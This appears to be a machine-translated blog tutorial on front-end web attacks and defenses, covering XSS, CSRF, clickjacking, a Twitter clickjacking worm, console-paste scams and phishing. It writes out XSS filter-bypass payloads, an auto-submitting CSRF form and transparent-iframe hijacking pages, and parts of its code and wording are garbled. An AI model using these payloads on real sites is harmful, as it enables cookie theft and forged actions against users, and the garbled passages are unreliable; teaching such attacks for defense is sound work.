Wanna be a hacker? Yes, almost every programmer has a hacker’s heart. From “Matrix” to “European Strategy”, the Hackers are always smiling in the dark, slowly eroding the Internet, eroding the place he wants to go, and obtaining other people’s database, and getting the information he wants, is it too smart to speak of military ethics?

However, as employees of the company, we have the obligation and responsibility to protect the information security of the company. At this time, we may need to fight against hackers, become the god of justice, and fight against the smiling man in the dark.

So, in this article, I want to show you how front-end hacking works and how we protect our projects at our company.

1. Cross-site Scripting (XSS)

attack

Full name: Cross Site Script

To distinguish it from Cascading Style Sheet CSS, cross-site scripting is shortened to XSS

Harm: steal user information, phishing, making worms and so on.

Concept: Through “HTML injection,” hackers tamper with web pages, inserting malicious scripts to control the user’s browser behavior while browsing the web.

Hackers can use XSS to steal the user’s cookie, with the user’s cookie, you can normally access the site as a user.

XSS belongs to client-side code injection, which is usually JavaScript. Unlike command injection, SQL injection belongs to server-side code injection.

In simple terms, write code where the page provides user input.

XSS comes in three types: reflection, storage, and Dom.

Reflective: Typically this type of XSS requires the attacker to construct a malicious link in advance to induce the customer to click, such as this link:

www.abc.com/?params=<script>alert(/xss/)</script>
Copy the code

Storage: This type of XSS is much more harmful than the previous type. For example, if an attacker contains a piece of JavaScript code on a forum floor and the server does not filter the output correctly, the user viewing the page will execute the JavaScript code.

DOM XSS: This type uses invalid input to close the corresponding HTML tag. For example, there is an A tag like this:

<a href='$var'></a>
Copy the code

At first glance this sounds fine, but when the contents of $var change to ‘οnclick=’ alert(/ XSS /) //, this code is executed.

Practical:

Here we are talking about Dom XSS, which is a web source code:

<html> <head> <meta http-equiv="Content-Type" content="text/html; </title> </head> <body> <form action="" method="get"> <input type="text" > name="xss_input"><input type="submit"> </form> <hr> <? php $xss = $_GET['xss_input']; Echo 'Please input your payload<br>'.$XSS; ? > </body> </html>Copy the code

The interface looks like this:

Let’s first type 123 and see what we get:

Check out the source code:

The string we typed is printed unchanged. In this case, if we replace 123 with bird, it will also be printed unchanged. Since the alert () function is designed to pop up the dialog box, it means that if we type in the above statement, it will pop up

Here’s the page you get by typing in bird:

Sure enough, it did, indicating that the Web page had XSS vulnerabilities

Take a look at the source code:

defense

XSS can be solved by escaping the user’s input.

But now we all use frameworks for development, such as Vue, React, Angular, and XSS is often based on DOM, and the framework rarely operates on DOM, and the framework bottom layer also has some precautions against XSS.

2. Cross-site Request Forgery (CSRF)

attack

Full Name: Cross-site request forgery

Harm: personal privacy leakage and property security.

Concept: An attacker uses techniques to trick a user’s browser into visiting a site that the user has authenticated and performing operations (such as sending emails, sending messages, and even property operations such as transferring money and buying goods). Since the browser has been authenticated, the site being visited will run as if it were a real user operation. This exploits a hole in user authentication in the Web: simple authentication guarantees only that the request is coming from a user’s browser, but not that the request itself is voluntary.

Practical:

Here’s a website with an account and password, just click to log in, and you can post a comment at the bottom of the article and remember your username.

When you click on this link, you will find that a new message has been posted on your account, this is CSRF.

After a user logs in to a web site, the web site server places a credential in the Cookie that the backend uses to authenticate the user. When a comment is posted, the request to submit a comment carries this credential, and the back end determines which user it is by judging this credential.

When logging in, set Cookie:

When submitting a comment, carry a Cookie:

Let’s take a look at the content of the page that launched the attack.

<body style="display: none;" > <form target="myIframe" id="csrf" action="https://www.kkkk1000.com/csrf/data/post_comment.php" method="POST"> <input Type ="text" name="content" value=" CSRF "/> </form> <! -- <iframe id="myIframe" name="myIframe"></iframe> <script> var form = document.querySelector('#csrf'); form.submit(); </script> </body>Copy the code

So what this code means is that when the user clicks on this link, it automatically submits the form, and that’s the form that’s used to submit a comment, and the parameters that are required to submit a comment request are already in the form, and if the user logged in to the site, the user’s credentials are stored in the Cookie, Will be passed to the server along with the request. So the server side thinks that the user is going to submit a comment.

defense

Request source restriction — Validates the HTTP Referer field

Method: There is a field in the HTTP request header called Referer that records the source address of the request. All the server needs to do is verify that the source address is valid and refuse to respond if it comes from some untrusted site.

Additional verification mechanism – use of tokens

Method: Use tocken instead of verification code. Because hackers do not have access to and see the contents of the cookie, they cannot forge a complete request. The basic idea is as follows:

  1. Server random generationtoken(such as thecookieHash into), existssession, on thecookieOr inajaxTo the front end.
  2. When the front end sends a request, resolve itcookieIn thetoken, to the requesturlOr in the request header.
  3. Server authenticationtokenBecause hackers can’t get it or fake ittoken, so can preventcsrf

Further enhancements (no session required) :

  1. The server randomly generates a token, and then hashes the token as a key to generate a ciphertext

  2. Give the token and ciphertext to the front end along with the cookie

  3. When the front end initiates a request, it gives both the ciphertext and the token to the back end

  4. The back end performs forward hash authentication on the token and ciphertext to check whether the token can generate the same ciphertext

  5. So even if the hacker gets the token, he can’t get the ciphertext.

3. Interface operation hijacking

attack

Concept:Interface hijacking is divided into click hijacking, drag and drop hijacking, touch screen hijacking. Our click, drag and drop, touch screen operations have been hijacked to manipulate other transparent and hidden interfaces. The principle is to use the transparent layer +iframe, use the opacity and Z-index properties of the CSS, go to the top of the opacity and other interfaces, and then use the iframe to embed the hijacking page. What reaches the user is not what he sees, not what he thinks is the interface, but the transparent, upper-layer interface.

To put it simply, the page of Baidu Tieba is covered with a layer of pages. On the top of the “follow” button of Baidu Tieba, a button is placed in the same position on the covered page to deceive people to click. Clicking this button is equivalent to clicking the “follow” button of Baidu Tieba.

We prepare a transparent layer page:

<! DOCTYPE HTML> <html> <meta http-equiv="Content-Type" content="text/html; < span style> HTML,body,iframe{display: block; height: 100%; width: 100%; margin: 0; padding: 0; border:none; } iframe{ opacity:0; filter:alpha(opacity=0); position:absolute; z-index:2; } button{ position:absolute; top: 315px; left: 462px; z-index: 1; width: 72px; height: 26px; < span style = "box-sizing: border-box; color: RGB (74, 74, 74); line-height: 22px; font-size: 13px! Important; white-space: normal; src="http://tieba.baidu.com/f?kw=%C3%C0%C5%AE"></iframe> </body> </html>Copy the code

2. After the website spreads out, users will click on the “follow” button after viewing the details.

3. This post bar more than a fan.

defense

Use an HTTP header — X-frame-options.

X-frame-options is arguably designed to solve ClickJacking and has three optional values:

DENY: The browser will DENY the current page from loading any frame pages.

SAMEORIGIN: The address of the frame page can only be a page under the same domain name.

Allow-from origin: indicates the address of the page that the frame is allowed to load.

JS layer: use the sandbox property of iframe to determine whether the current page is nested by other pages.

The combination of HTTP header and JS is recommended.

4. Exploit loopholes

attack

The focus of vulnerability mining in web front-end hackers is XSS vulnerability mining, as for CSRF vulnerability mining and page operation hijacking vulnerability mining in essence determines that these vulnerabilities mining is very simple.

CSRF vulnerability mining as long as the following can be confirmed:

1. Whether the target form has a valid token random string.

2. Whether the target form has a verification code.

3. Whether the target determines the Referer source.

4. Is “allow-access-fromDomain “a wildcard in crossDomain-xml?

5. Target JSON data seems to be able to customize callback functions, etc.

Page operation hijacking vulnerability mining as long as the following can be confirmed:

1. Check whether the X-frame-options field is set in the TARGET HTTP response header.

2. Whether the target has a JavaScript FrameBusting mechanism.

3. It is easier to try using iframe to embed the target website, if successful, then the vulnerability exists.

XSS vulnerabilities are much more operable:

Let’s assume that the server does not encode or filter user input.

4.1. In HTML content

4.1.1 Case insensitive

<sCript>alert(1); </scrIpt>Copy the code

4.1.2 Nested bypasses

<sCr<scriPt>ipt>alert(1)</scr</scRipt>Ipt>
Copy the code

4.1.3 SVG Injection (HTML5 supports inline SVG)

<svg/onload=alert(document.domain)>
Copy the code

4.1.4 Execution Code is converted to Unicode encoding and executed via EVAL

<img src=N onerror
="eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41))">
Copy the code

4.2.html tag attributes

Many times the output occurs in HTML attributes, for example

、 , such as

Etc.

4.2.1 Self-closing double quotation marks to construct closing tags:

" onclick="alert(1) "><img src='a' onerror=alert(document.domain)> "><svg/onload=alert(document.domain)> <a href=abcd.jsp? ttt=1000 onmouseover=alert(123) y=2016>2</a> <a href="" onclick=eval(&#97&#108&#101&#114&#116&#40&#39&#120&#115&#115&#39&#41)>aaa</a> <a href="" onclick="&#97; The & # 108; The & # 101; The & # 114; The & # 116; & # 40; & # 49; & # 41;" >aaa</a>Copy the code

Construct on event:

 " onmouseover=alert(document.domain)>
Copy the code

Add comment //:

" onmouseover=alert(document.domain)> //
Copy the code

Using HTML5 AutoFocus for XSS:

aaaaa" name="javasCript:alert()" autofocus onfocus="location=this.name" aaa">
Copy the code

A lot of times the scenario is not that simple, the programmer will filter the “double quote” as an entity for example

<input type=" text-indent "value=" text-indent"; onclick=&quot; alert(1)" />

Close quotation marks for the Form tag:

<form method=Post action=abcd.jsp? TTT =1000 onMouseover =prompt(962613) y=&enddate=2016 > #action <input type='text' name='page' value=0> <input type='text' name='page' value=0 name='submit' type='submit' value='GO' class="input2"> </form> <form method=Post action=javascript:alert('xss') > <form type='text' name='page' value=0> <form name='submit' type='submit' value='GO' class="input2"> </form> <form Method =Post action=1 onmouseover=alert(123) BBB =111 > <input type='text' name='page' value=0> <input name='submit' type='submit' value='GO' class="input2"> </form> <form method=Post action="data:text/html; Base64, PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4 = "> < input type = 'text' name = 'page' value = 0 > < input name = 'submit' type='submit' value='GO' class="input2"> </form>Copy the code

4.2.2 Two common output examples

< HTML tags onXXXX = "... [Output here].." ><a href="javascript:[output here]"> </a>Copy the code

In fact, onxxxx=”[output]” and href=”javascript:[output]” are not much different. Because where [output] is, it’s all javascript scripts.

But if it is filtered, there is often no good way to do it. In both cases, there is a good way to get around the filtering.

Since the single quote ‘is filtered, we can write’ as’

location.href='........ &key=aaaaaa' location.href='........ &key=aaaaaa'+alert(1)+'' location.href='........ &key=aaaaaa&#39; +alert(1)+&#39; 'Copy the code

We then convert the code to the encoding of the URL. &-> %26, # -> %23 Finally

key=%26%23x27; %2balert(1)%2b%26%2aaaaaaa3x27;Copy the code

The defect point occurs in the onkeyDown or a tag href attribute, which cannot be triggered automatically, thus reducing the threat. If it occurs in the IMG onLoad attribute, it is very likely to cause automatic trigger

defense

User input is displayed directly in the context of code execution, and we can first determine whether it is filtered or not

* <, >, /

Special symbols, such as *, are highly likely to be XSS if they are not filtered

Try not to output content in JS comments, it is dangerous.

Defense mode: Escape the following special characters. Defense mode: Encode the output special characters

5. WEB worms

attack

Concept: * * * * network worm is a kind of intelligence, automation, combination of network attack, cryptography, and technology, the computer virus attack programs to run without a computer user intervention or code, it can scan and attack exist system node hosts on the network, through local area network or the Internet spread from one node to another node.

As well as vulnerability mining, WEB worms are also classified as XSS worms, CSRF worms, and page operation hijacking worms. This time we’re talking about page manipulation hijacking worms.

Page operation hijacking worm origin

It all started with the “Don’t Ciick” worm on Twitter in early 2009. At the beginning of 2009, many users of Twitter found the following broadcast inexplicably appearing on their Twitter feed:

Don ‘tc1ick: ~ http:// tinyurl.com/amgzs6

The user didn’t actually broadcast the message at all. The Twitter worm was spread using a technique called page manipulation hijacking. This is also the first use of the worm page hijacking technical means to spread the case.

Technical analysis

Here’s a technical analysis of Twitter’s Don’tClick worm.

First, the attacker uses the page operation hijacking technology to make worm page, the URL address of the page uses TINYURL short address to tinyurl.com/amgzs6 page source code design points are as follows.

Set the iframe label to the transparent layer and the iframe label to the layer directly above the Button label.

<style> iframe{ position: absolute; width: 500px; height: 228px; top: -170px; left: -400px; Z - index: 2; Opacity: 0; The filter: alpha (opacity = 0); Button {position: absolute; Top: 1 opx; Left: 1 opx; Z - index: 1: width: 120px; </style>Copy the code

The confuse button below the transparent layer overlops with the broadcast button in Twitter.

 <button>Don't Click</button> 
Copy the code

In the content of the transparent layer, the content after the status parameter is the content of the broadcast:

<iframe SRC =" http://twitter.com/home?status=Don't Click: com/amgzs6" scrolling="no"></iframe>Copy the code

The page is simple, but this is the core framework of the Iframe worm. At this point, the worm page has been done, can start the source of the spread. The attacker first posted a broadcast on his Twitter feed:

“Don ‘tClick:tinyurl.com/amgzs6”

When the attacker’s other friends picked up the broadcast, curiosity prompted them to Click the http://tinyurLcom/amgzs6 link and then Click the “Don’t Click “button on the linked page. When the button is clicked, you are actually clicking the broadcast button in Twitter, and without the user’s knowledge, a broadcast is sent to the user’s Twitter, saying “Don’t ciick :tinyurl.com/ amgZs6”. Then, everyone else who sees the message repeats the process, and so on, and the worm spreads.

defense

1. The development should avoid document rewriting, redirection or other sensitive operations on the Web client as far as possible, and avoid using client data. These operations should be implemented using dynamic pages on the server as far as possible.

2. The HttpOnly cookies. The most effective defense means to prevent XSS attacks from stealing user cookies. When the Web application is setting the cookie, its attribute is set to HttpOnly, it can avoid the webpage’s cookie is stolen by the client malicious JavaScript, and protect the user’s cookie information.

3. Web Application Firewall (WAF) is used to defend against common Web vulnerability attacks such as Web Trojan horse, XSS, and CSRF. Developed by third-party companies, it is popular in corporate environments.

6. Console injection code

attack

There is a warning message on the console of tmall’s official website, why? Because some hackers will lure users to console paste contents (bully most people do not understand the code), such as what kind of articles in the circle of friends to stick, said: “as long as access Tmall, press F12 and paste the following content, you can obtain xx yuan gift”, so some users really will go to the operation, and their privacy being exposed the also don’t know.

This approach of Tmall is also a warning to users not to do so. It seems that the front-end security of Tmall is also in place. However, after all, this attack is a minority, so you look at a glance on the line, if really found that some users will be attacked in this way, remember to remember the tmall solution.

defense

7. Fishing

attack

Fishing is also a very old attack, and it’s not really a front end attack. Can be page level attack after all, we also come to chat together. I believe a lot of people will have such experience, QQ group inside someone hair what part-time, what they want to go to a foreign house car sale, details in my QQ space, such as the connection. After opening, I found a QQ login box, in fact, a look at the domain name is not QQ, but it is very like QQ login, unknown users, really put the user name and password into, the result did not log in to QQ, user name and password is sent to the past.

First of all, we share an article in xx space, and then attract others to click.

2 Then, we changed the source page address in cheat. PHP.

Therefore, after the user visits our spoofing website, the previous TAB has been quietly changed. We quietly replace it with a phishing website, deceiving the user to enter the user name, password and so on.

3 our phishing website, disguised as XX space, let the user input user name and password

defense

This phishing method is interesting, but the point is that it is difficult to prevent this attack, we can not use js to open all the links to the page. So either change the connections of the outside link jump to the current page jump, or prompt the user at page unload, or change all page jumps to window.open.